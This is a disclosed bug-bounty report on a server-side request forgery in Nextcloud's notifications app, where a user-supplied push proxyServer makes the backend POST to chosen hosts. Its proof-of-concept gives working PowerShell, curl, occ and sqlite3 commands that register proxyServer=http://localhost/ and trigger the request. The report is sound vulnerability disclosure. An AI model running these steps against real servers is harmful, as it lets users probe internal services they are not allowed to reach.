Nextcloud · Report #3623149
SSRF via User-Controlled Push proxyServer in Notifications Push Registration
Validstatus
mediumseverity
48upvotes
30 Sept 2026disclosed
How it was found
Summary:
An authenticated low-privilege user can register a push device with an attacker-controlled proxyServer through POST /ocs/v2.php/apps/notifications/api/v2/push
Later, when a notification is triggered for that user, the backend performs a server-side POST request to {proxyServer}/notifications.
This creates an SSRF primitive (server-side outbound request) to attacker-chosen targets, including localhost/internal services.
Version:
==Notifications app: 5.0.0==
Code:
- notifications-master\lib\Controller\PushController.php (accepts user proxyServer, NoAdminRequired route)
- notifications-master\lib\Push.php (sendNotificationsToProxies(), server-side POST $proxyServer.'/notifications')
Steps To Reproduce:
- Log in as a normal user (e.g., yoyo) and create an app password.
- Register a push device using OCS push API with:
- valid
pushTokenHash - valid
devicePublicKey proxyServer=http://localhost/
- Trigger a push event for that user (
occ notification:test-push yoyo --files). - Check server logs and observe internal outbound request from backend:
- POST /notifications
- source 127.0.0.1
- UA Nextcloud Server Crawler
- Observed Evidence (from your run)
- Push registration returned HTTP/1.1 201 Created.
- Log line confirms backend SSRF request:
- 127.0.0.1 ... "POST /notifications HTTP/1.1" ... "Nextcloud Server Crawler"
PoC:
- Base info
$base='http://192.168.51.102:8082'
$u='yoyo'
{F5591439}
- Create an app password for yoyo (copy the value shown after "app password:")
docker exec -u www-data nextcloud-new php occ user:auth-tokens:add yoyo --no-interaction
{F5591441}
- Ensure the user is not in DND mode (push may be skipped when DND is enabled)
docker exec nextcloud-new sqlite3 /var/www/html/data/owncloud.db "update oc_user_status set status='online', is_user_defined=1 where user_id='yoyo';"
{F5591458}
{F5591455}
- Create a sample public key file
$keyFile = Join-Path $env:TEMP 'nc_push_pub.pem'
$pem = @'
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Or1KumSDfk8dT0MuCW9
WS5wkVOpNsbz2OIJFBYrBvu6joC2iQo9StONMaXoTQj5Ucak9UBtC60PHyTkIDFb
HOpCST5onmIAtZdqHN/3ABOBeHVU/notdRIl/menGM64jiqGWvE06F1+yZ8GGcGQ
8RKzabqMd2K1iUohXP625uzTABVaiwz3u8nGEwui5R6Pf5Fy6DccuqdUMtJIfW21
Z4Tj48Tw+pR+fUrGpa1Wg+wiwlg7ISK8Symml1Rd6hSRXK2t8Opm/kjH9ZX8oVwn
RSO1ehjzRpTY+gdw/5gvwMZI0XmrIanZmZHwePRR4HC6FLPrL2OQG3gWikDIPyTS
hQIDAQAB
-----END PUBLIC KEY-----
'@
Set-Content -Path $keyFile -Value $pem -NoNewline -Encoding ascii
{F5591461}
- Register a push device with a user-controlled proxyServer. Replace ==APP_PASS== with the app password from ==step 1==
$appPass='APP_PASS'
$pushHash=('a'*128)
curl.exe -i -s -u "$u`:$appPass" `
-H "OCS-APIRequest: true" `
-H "Accept: application/json" `
--data-urlencode "pushTokenHash=$pushHash" `
--data-urlencode "devicePublicKey@$keyFile" `
--data-urlencode "proxyServer=http://localhost/" `
"$base/ocs/v2.php/apps/notifications/api/v2/push?format=json"
=> Expected: HTTP/1.1 201 Created
{F5591477}
- Trigger one push notification
docker exec -u www-data nextcloud-new php occ notification:test-push yoyo --files -vvv
{F5591486}
- Verify evidence in logs
docker logs --since 5m nextcloud-new 2>&1 | Select-String "POST /notifications|Nextcloud Server Crawler|api/v2.php/apps/notifications/api/v2/push"
Expected evidence pattern:
- 127.0.0.1 - - [...] "POST /notifications HTTP/1.1" ... "Nextcloud Server Crawler"
{F5591492}
Impact
- Authenticated users can force backend HTTP POST requests to user-selected destinations.